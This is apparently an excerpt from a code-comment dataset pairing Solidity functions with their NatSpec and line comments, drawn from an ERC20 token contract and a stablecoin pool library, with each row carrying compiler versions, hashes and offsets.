| /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not | NatSpecSingleLine | v0.4.24-nightly.2018.4.22+commit.2fae248d | bzzr://32957fa298fc01d569974029255e79f97625b503ac7c5a1fe0ba8109989396c7 | {
"func_code_index": [
1358,
1459
]
} | 18,092 | |||
YclDoCoins | YclDoCoins.sol | 0xfd341667401892f0a2f385d29713a3200ef9ee49 | Solidity | EIP20Interface | contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract sinc... | approve | function approve(address _spender, uint256 _value) public returns (bool success);
| /// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not | NatSpecSingleLine | v0.4.24-nightly.2018.4.22+commit.2fae248d | bzzr://32957fa298fc01d569974029255e79f97625b503ac7c5a1fe0ba8109989396c7 | {
"func_code_index": [
1749,
1835
]
} | 18,093 | |||
YclDoCoins | YclDoCoins.sol | 0xfd341667401892f0a2f385d29713a3200ef9ee49 | Solidity | EIP20Interface | contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract sinc... | allowance | function allowance(address _owner, address _spender) public view returns (uint256 remaining);
| /// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent | NatSpecSingleLine | v0.4.24-nightly.2018.4.22+commit.2fae248d | bzzr://32957fa298fc01d569974029255e79f97625b503ac7c5a1fe0ba8109989396c7 | {
"func_code_index": [
2043,
2141
]
} | 18,094 | |||
YclDoCoins | YclDoCoins.sol | 0xfd341667401892f0a2f385d29713a3200ef9ee49 | Solidity | YclDoCoins | contract YclDoCoins is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include ... | YclDoCoins | function YclDoCoins(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
balances[msg.sender] = _initialAmount; // Give the creator all initial tokens
totalSupply = _initialAmount; // Update total supply
... | //An identifier: eg SBX | LineComment | v0.4.24-nightly.2018.4.22+commit.2fae248d | bzzr://32957fa298fc01d569974029255e79f97625b503ac7c5a1fe0ba8109989396c7 | {
"func_code_index": [
727,
1386
]
} | 18,095 | |||
StakingRewards | PusdPoolLibrary.sol | 0x6e222c95dd4f7346582cddc02845138a92af59dc | Solidity | PusdPoolLibrary | library PusdPoolLibrary {
using SafeMath for uint256;
// Constants for various precisions
uint256 private constant PRICE_PRECISION = 1e6;
// ================ Structs ================
// Needed to lower stack size
struct MintFF_Params {
uint256 mint_fee;
uint256 pegs_price_usd;... | calcMint1t1PUSD | function calcMint1t1PUSD(uint256 col_price, uint256 mint_fee, uint256 collateral_amount_d18) public pure returns (uint256) {
uint256 col_price_usd = col_price;
uint256 c_dollar_value_d18 = (collateral_amount_d18.mul(col_price_usd)).div(1e6);
return c_dollar_value_d18.sub((c_dollar_value_d18.mul(mint_fee)).d... | // ================ Functions ================ | LineComment | v0.6.11+commit.5ef660b1 | None | ipfs://2754aea291d6237c536c520f87848e49c4b7e5af63dbacf5d21b34bd668ba11b | {
"func_code_index": [
791,
1142
]
} | 18,096 | ||
StakingRewards | PusdPoolLibrary.sol | 0x6e222c95dd4f7346582cddc02845138a92af59dc | Solidity | PusdPoolLibrary | library PusdPoolLibrary {
using SafeMath for uint256;
// Constants for various precisions
uint256 private constant PRICE_PRECISION = 1e6;
// ================ Structs ================
// Needed to lower stack size
struct MintFF_Params {
uint256 mint_fee;
uint256 pegs_price_usd;... | calcMintFractionalPUSD | function calcMintFractionalPUSD(MintFF_Params memory params) internal pure returns (uint256, uint256) {
// Since solidity truncates division, every division operation must be the last operation in the equation to ensure minimum error
// The contract must check the proper ratio was sent to mint PUSD. We do this ... | // Must be internal because of the struct | LineComment | v0.6.11+commit.5ef660b1 | None | ipfs://2754aea291d6237c536c520f87848e49c4b7e5af63dbacf5d21b34bd668ba11b | {
"func_code_index": [
1509,
2803
]
} | 18,097 | ||
StakingRewards | PusdPoolLibrary.sol | 0x6e222c95dd4f7346582cddc02845138a92af59dc | Solidity | PusdPoolLibrary | library PusdPoolLibrary {
using SafeMath for uint256;
// Constants for various precisions
uint256 private constant PRICE_PRECISION = 1e6;
// ================ Structs ================
// Needed to lower stack size
struct MintFF_Params {
uint256 mint_fee;
uint256 pegs_price_usd;... | calcBuyBackPEGS | function calcBuyBackPEGS(BuybackPEGS_Params memory params) internal pure returns (uint256) {
// If the total collateral value is higher than the amount required at the current collateral ratio then buy back up to the possible PEGS with the desired collateral
require(params.excess_collateral_dollar_value_d18 > 0... | // Must be internal because of the struct | LineComment | v0.6.11+commit.5ef660b1 | None | ipfs://2754aea291d6237c536c520f87848e49c4b7e5af63dbacf5d21b34bd668ba11b | {
"func_code_index": [
3166,
4230
]
} | 18,098 | ||
StakingRewards | PusdPoolLibrary.sol | 0x6e222c95dd4f7346582cddc02845138a92af59dc | Solidity | PusdPoolLibrary | library PusdPoolLibrary {
using SafeMath for uint256;
// Constants for various precisions
uint256 private constant PRICE_PRECISION = 1e6;
// ================ Structs ================
// Needed to lower stack size
struct MintFF_Params {
uint256 mint_fee;
uint256 pegs_price_usd;... | recollateralizeAmount | function recollateralizeAmount(uint256 total_supply, uint256 global_collateral_ratio, uint256 global_collat_value) public pure returns (uint256) {
uint256 target_collat_value = total_supply.mul(global_collateral_ratio).div(1e6); // We want 18 decimals of precision so divide by 1e6; total_supply is 1e18 and global_c... | // Returns value of collateral that must increase to reach recollateralization target (if 0 means no recollateralization) | LineComment | v0.6.11+commit.5ef660b1 | None | ipfs://2754aea291d6237c536c520f87848e49c4b7e5af63dbacf5d21b34bd668ba11b | {
"func_code_index": [
4359,
5054
]
} | 18,099 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.